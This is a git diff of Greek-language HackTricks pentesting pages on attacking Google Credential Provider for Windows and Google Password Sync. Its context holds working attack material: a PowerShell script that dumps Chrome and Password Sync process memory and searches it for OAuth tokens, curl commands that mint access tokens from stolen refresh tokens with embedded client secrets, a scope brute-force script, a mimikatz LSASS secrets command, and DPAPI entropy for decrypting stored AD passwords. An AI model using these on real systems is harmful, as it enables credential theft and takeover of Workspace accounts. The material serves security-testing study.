χρησιμοποιηθεί για να **dump** κάθε διαδικασία **Chrome** χρησιμοποιώντας το `procdump`, να εξάγει τις **αλφαβητικές ακολουθίες** και στη συνέχεια να **αναζητήσει** ακολουθίες σχετικές με **access και refresh tokens**. Αν το Chrome είναι συνδεδεμένο σε κάποια ιστοσελίδα της Google, κάποια **διαδικασία θα αποθηκεύει ανανεωτικά και/ή access tokens στη μνήμη!**
Dump Chrome processes and search tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -262,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force Δοκίμασα το ίδιο με το `gcpw_extension.exe` αλλά δεν βρήκε κανένα token. -Για κάποιο λόγο, **ορισμένα εξαγόμενα access tokens δεν θα είναι έγκυρα (αν και ορισμένα θα είναι)**. Δοκίμασα το παρακάτω script για να αφαιρέσω χαρακτήρες 1 προς 1 για να προσπαθήσω να βρω το έγκυρο token από το dump. Ποτέ δεν με βοήθησε να βρω ένα έγκυρο, αλλά ίσως να βοηθήσει: +Για κάποιο λόγο, **ορισμένα εξαγόμενα access tokens δεν θα είναι έγκυρα (αν και κάποια θα είναι)**. Δοκίμασα το παρακάτω σενάριο για να αφαιρέσω χαρακτήρες 1 προς 1 για να προσπαθήσω να βρω το έγκυρο token από την εξαγωγή. Ποτέ δεν με βοήθησε να βρω ένα έγκυρο, αλλά ίσως να βοηθήσει:
@@ -299,9 +297,9 @@ echo "Error: Token invalid or too short" ```
-### GCPW - Δημιουργία διαπιστευτηρίων πρόσβασης από διαπιστευτήρια ανανέωσης +### GCPW - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια -Χρησιμοποιώντας το διαπιστευτήριο ανανέωσης, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας αυτό και το client ID και client secret που καθορίζονται στην παρακάτω εντολή: +Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή: ```bash curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ @@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token ### GCPW - Scopes > [!NOTE] -> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατόν να ζητήσετε κανένα scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**. +> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατή η αίτηση οποιουδήποτε scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**. > > Επίσης, το refresh token δεν είναι έγκυρο σε κάθε εφαρμογή. @@ -344,7 +342,7 @@ rm /tmp/valid_scopes.txt ```
-Και αυτό είναι το αποτέλεσμα που πήρα τη στιγμή που γράφτηκε: +Και αυτό είναι το αποτέλεσμα που πήρα τη στιγμή που έγραφα:
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile ```
-Επιπλέον, ελέγχοντας τον πηγαίο κώδικα του Chromium είναι δυνατόν να [**βρείτε αυτό το αρχείο**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), το οποίο περιέχει **άλλες σφαίρες** που μπορεί να υποτεθεί ότι **δεν εμφανίζονται στη λίστα που έχει προηγουμένως υποστεί βίαιη δοκιμή**. Επομένως, αυτές οι επιπλέον σφαίρες μπορούν να υποτεθούν: +Επιπλέον, ελέγχοντας τον πηγαίο κώδικα του Chromium είναι δυνατόν να [**βρείτε αυτό το αρχείο**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), το οποίο περιέχει **άλλες σφαίρες** που μπορεί να υποτεθεί ότι **δεν εμφανίζονται στη λίστα που έχει προηγουμένως παραβιαστεί**. Επομένως, αυτές οι επιπλέον σφαίρες μπορούν να υποτεθούν:
@@ -470,11 +468,11 @@ const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; ``` Ωστόσο, προσπάθησα να χρησιμοποιήσω αυτό το πεδίο για να αποκτήσω πρόσβαση στο gmail ή να καταγράψω ομάδες και δεν λειτούργησε, οπότε δεν ξέρω πόσο χρήσιμο είναι ακόμα. -**Αποκτήστε ένα access token με όλα αυτά τα πεδία**: +**Αποκτήστε ένα διακριτικό πρόσβασης με όλα αυτά τα πεδία**:
-Bash script για τη δημιουργία access token από refresh_token με όλα τα πεδία +Bash script για τη δημιουργία διακριτικού πρόσβασης από refresh_token με όλα τα πεδία ```bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar @@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -760,9 +758,9 @@ curl -X POST \ https://www.googleapis.com/auth/ediscovery (Google Vault) -**Google Workspace Vault** είναι ένα πρόσθετο για το Google Workspace που παρέχει εργαλεία για τη διατήρηση δεδομένων, αναζητήσεις και εξαγωγές για τα δεδομένα της οργάνωσής σας που αποθηκεύονται σε υπηρεσίες του Google Workspace όπως το Gmail, το Drive, το Chat και άλλα. +**Google Workspace Vault** είναι ένα πρόσθετο για το Google Workspace που παρέχει εργαλεία για τη διατήρηση δεδομένων, αναζήτηση και εξαγωγή για τα δεδομένα της οργάνωσής σας που αποθηκεύονται σε υπηρεσίες του Google Workspace όπως το Gmail, το Drive, το Chat και άλλα. -- Ένα **Matter** στο Google Workspace Vault είναι ένα **container** που οργανώνει και ομαδοποιεί όλες τις πληροφορίες που σχετίζονται με μια συγκεκριμένη υπόθεση, έρευνα ή νομικό θέμα. Λειτουργεί ως το κεντρικό σημείο για τη διαχείριση των **Holds**, **Searches** και **Exports** που αφορούν αυτό το συγκεκριμένο ζήτημα. +- Ένα **Matter** στο Google Workspace Vault είναι ένα **container** που οργανώνει και ομαδοποιεί όλες τις πληροφορίες που σχετίζονται με μια συγκεκριμένη υπόθεση, έρευνα ή νομικό θέμα. Λειτουργεί ως το κεντρικό κόμβο για τη διαχείριση των **Holds**, **Searches** και **Exports** που αφορούν αυτό το συγκεκριμένο ζήτημα. - Ένα **Hold** στο Google Workspace Vault είναι μια **preservation action** που εφαρμόζεται σε συγκεκριμένους χρήστες ή ομάδες για να **αποτρέψει τη διαγραφή ή την τροποποίηση** των δεδομένων τους εντός των υπηρεσιών του Google Workspace. Τα Holds διασφαλίζουν ότι οι σχετικές πληροφορίες παραμένουν ανέπαφες και αμετάβλητες για τη διάρκεια μιας νομικής υπόθεσης ή έρευνας. ```bash # List matters @@ -791,13 +789,13 @@ curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://vault.googleapis.com/v1/matters//holds?pageSize=10" ``` -Περισσότερα [API endpoints στα docs](https://developers.google.com/vault/reference/rest). +Περισσότερα [API endpoints στα έγγραφα](https://developers.google.com/vault/reference/rest).
## GCPW - Ανάκτηση καθαρού κωδικού πρόσβασης -Για να εκμεταλλευτείτε το GCPW για να ανακτήσετε τον καθαρό κωδικό πρόσβασης, είναι δυνατόν να εξάγετε τον κωδικό πρόσβασης που έχει κρυπτογραφηθεί από το **LSASS** χρησιμοποιώντας το **mimikatz**: +Για να εκμεταλλευτείτε το GCPW για να ανακτήσετε το καθαρό κείμενο του κωδικού πρόσβασης, είναι δυνατόν να εξάγετε τον κωδικό πρόσβασης που έχει κρυπτογραφηθεί από το **LSASS** χρησιμοποιώντας το **mimikatz**: ```bash mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit ``` diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 23bc3f238..aa5b2601d 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -4,7 +4,7 @@ ## Basic Information -Αυτό είναι το δυαδικό και η υπηρεσία που προσφέρει η Google προκειμένου να **διατηρεί συγχρονισμένα τους κωδικούς πρόσβασης των χρηστών μεταξύ του AD** και του Workspace. Κάθε φορά που ένας χρήστης αλλάζει τον κωδικό του στο AD, ρυθμίζεται στη Google. +Αυτό είναι το δυαδικό και η υπηρεσία που προσφέρει η Google προκειμένου να **διατηρεί συγχρονισμένα τους κωδικούς πρόσβασης των χρηστών μεταξύ του AD** και του Workspace. Κάθε φορά που ένας χρήστης αλλάζει τον κωδικό του στο AD, αυτός ρυθμίζεται στην Google. Εγκαθίσταται στο `C:\Program Files\Google\Password Sync` όπου μπορείτε να βρείτε το δυαδικό `PasswordSync.exe` για να το ρυθμίσετε και το `password_sync_service.exe` (η υπηρεσία που θα συνεχίσει να τρέχει). @@ -12,15 +12,15 @@ Για να ρυθμίσετε αυτό το δυαδικό (και υπηρεσία), είναι απαραίτητο να **του δώσετε πρόσβαση σε έναν Super Admin principal στο Workspace**: -- Συνδεθείτε μέσω **OAuth** με τη Google και στη συνέχεια θα **αποθηκεύσει ένα token στο μητρώο (κρυπτογραφημένο)** +- Συνδεθείτε μέσω **OAuth** με την Google και στη συνέχεια θα **αποθηκεύσει ένα token στο μητρώο (κρυπτογραφημένο)** - Διαθέσιμο μόνο σε Domain Controllers με GUI - Δίνοντας κάποια **credentials Service Account από το GCP** (json αρχείο) με δικαιώματα να **διαχειρίζεται τους χρήστες του Workspace** -- Πολύ κακή ιδέα καθώς αυτά τα credentials δεν λήγουν ποτέ και θα μπορούσαν να χρησιμοποιηθούν κακόβουλα +- Πολύ κακή ιδέα καθώς αυτά τα credentials δεν λήγουν ποτέ και θα μπορούσαν να καταχραστούν - Πολύ κακή ιδέα να δώσετε πρόσβαση σε SA πάνω από το workspace καθώς ο SA θα μπορούσε να παραβιαστεί στο GCP και θα είναι δυνατό να γίνει pivot στο Workspace - Η Google το απαιτεί για domain controlled χωρίς GUI - Αυτά τα creds αποθηκεύονται επίσης στο μητρώο -Όσον αφορά το AD, είναι δυνατό να υποδείξετε να χρησιμοποιεί το τρέχον **applications context, ανώνυμο ή κάποια συγκεκριμένα credentials**. Εάν επιλεγεί η επιλογή credentials, το **username** αποθηκεύεται μέσα σε ένα αρχείο στο **δίσκο** και ο **κωδικός πρόσβασης** είναι **κρυπτογραφημένος** και αποθηκεύεται στο **μητρώο**. +Όσον αφορά το AD, είναι δυνατό να υποδείξετε να χρησιμοποιήσει το τρέχον **context εφαρμογών, ανώνυμο ή κάποια συγκεκριμένα credentials**. Εάν επιλεγεί η επιλογή credentials, το **username** αποθηκεύεται μέσα σε ένα αρχείο στο **δίσκο** και ο **κωδικός πρόσβασης** είναι **κρυπτογραφημένος** και αποθηκεύεται στο **μητρώο**. ### GPS - Dumping password and token from disk @@ -29,7 +29,7 @@ Στο αρχείο **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** είναι δυνατό να βρείτε μέρος της ρύθμισης όπως το **`baseDN`** του AD που έχει ρυθμιστεί και το **`username`** των credentials που χρησιμοποιούνται. -Στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`** είναι δυνατό να βρείτε το **κρυπτογραφημένο refresh token** και τον **κρυπτογραφημένο κωδικό πρόσβασης** για τον χρήστη AD (αν υπάρχει). Επιπλέον, εάν αντί για ένα token, χρησιμοποιηθούν κάποια **credentials SA**, είναι επίσης δυνατό να βρείτε αυτά κρυπτογραφημένα σε αυτή τη διεύθυνση μητρώου. Οι **τιμές** μέσα σε αυτό το μητρώο είναι μόνο **προσβάσιμες** από **Administrators**. +Στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`** είναι δυνατό να βρείτε το **κρυπτογραφημένο refresh token** και τον **κρυπτογραφημένο κωδικό πρόσβασης** για τον χρήστη του AD (αν υπάρχει). Επιπλέον, εάν αντί για ένα token, χρησιμοποιηθούν κάποια **credentials SA**, είναι επίσης δυνατό να βρείτε αυτά κρυπτογραφημένα σε αυτή τη διεύθυνση μητρώου. Οι **τιμές** μέσα σε αυτό το μητρώο είναι μόνο **προσβάσιμες** από **Administrators**. Ο κρυπτογραφημένος **κωδικός πρόσβασης** (αν υπάρχει) είναι μέσα στο κλειδί **`ADPassword`** και είναι κρυπτογραφημένος χρησιμοποιώντας το API **`CryptProtectData`**. Για να τον αποκρυπτογραφήσετε, πρέπει να είστε ο ίδιος χρήστης με αυτόν που ρύθμισε τον συγχρονισμό κωδικών πρόσβασης και να χρησιμοποιήσετε αυτή την **entropy** όταν χρησιμοποιείτε το **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` @@ -42,17 +42,17 @@ Σημειώστε ότι είναι επίσης δυνατό να δείτε τις **αποκρυπτογραφημένες** τιμές στην είσοδο ή έξοδο των κλήσεων σε αυτές τις APIs επίσης (σε περίπτωση που κάποια στιγμή το Winpeas σταματήσει να λειτουργεί). -Σε περίπτωση που ο συγχρονισμός κωδικών πρόσβασης έχει **ρυθμιστεί με SA credentials**, θα αποθηκευτεί επίσης σε κλειδιά μέσα στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`**. +Σε περίπτωση που ο Password Sync ήταν **ρυθμισμένος με SA credentials**, θα αποθηκευτεί επίσης σε κλειδιά μέσα στο μητρώο **`HKLM\Software\Google\Google Apps Password Sync`**. ### GPS - Dumping tokens from memory -Ακριβώς όπως με το GCPW, είναι δυνατό να κάνετε dump της μνήμης της διαδικασίας του `PasswordSync.exe` και των διαδικασιών `password_sync_service.exe` και θα μπορείτε να βρείτε refresh και access tokens (αν έχουν ήδη παραχθεί).\ +Ακριβώς όπως με το GCPW, είναι δυνατό να κάνετε dump τη μνήμη της διαδικασίας του `PasswordSync.exe` και των διαδικασιών `password_sync_service.exe` και θα μπορείτε να βρείτε refresh και access tokens (αν έχουν ήδη παραχθεί).\ Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τα ρυθμισμένα credentials του AD.
Dump PasswordSync.exe και τις διαδικασίες password_sync_service.exe και αναζητήστε tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" @@ -129,7 +129,7 @@ Write-Output "" ### GPS - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια -Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή: +Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας αυτό και το client ID και client secret που καθορίζονται στην παρακάτω εντολή: ```bash curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ @@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token ### GPS - Scopes > [!NOTE] -> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατό να ζητήσετε κανένα scope για το access token καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή όπου δημιουργείτε το access token**. +> Σημειώστε ότι ακόμη και αν έχετε ένα refresh token, δεν είναι δυνατό να ζητήσετε οποιοδήποτε scope για το access token, καθώς μπορείτε να ζητήσετε μόνο τα **scopes που υποστηρίζονται από την εφαρμογή στην οποία δημιουργείτε το access token**. > > Επίσης, το refresh token δεν είναι έγκυρο σε κάθε εφαρμογή. -Από προεπιλογή, το GPS δεν θα έχει πρόσβαση ως χρήστης σε κάθε πιθανό OAuth scope, οπότε χρησιμοποιώντας το παρακάτω script μπορούμε να βρούμε τα scopes που μπορούν να χρησιμοποιηθούν με το `refresh_token` για να δημιουργήσουμε ένα `access_token`: +Από προεπιλογή, το GPS δεν θα έχει πρόσβαση ως χρήστης σε κάθε πιθανό OAuth scope, οπότε χρησιμοποιώντας το παρακάτω σενάριο μπορούμε να βρούμε τα scopes που μπορούν να χρησιμοποιηθούν με το `refresh_token` για να δημιουργήσουμε ένα `access_token`:
@@ -176,9 +176,9 @@ rm /tmp/valid_scopes.txt ``` https://www.googleapis.com/auth/admin.directory.user ``` -Ποιο είναι το ίδιο που λαμβάνετε αν δεν υποδείξετε κανένα πεδίο. +Ποιο είναι το ίδιο που λαμβάνετε αν δεν υποδείξετε καμία έκταση. > [!CAUTION] -> Με αυτό το πεδίο θα μπορούσατε **να τροποποιήσετε τον κωδικό πρόσβασης ενός υπάρχοντος χρήστη για να κλιμακώσετε τα προνόμια**. +> Με αυτή την έκταση θα μπορούσατε **να τροποποιήσετε τον κωδικό πρόσβασης ενός υπάρχοντος χρήστη για να κλιμακώσετε τα προνόμια**. {{#include ../../../banners/hacktricks-training.md}}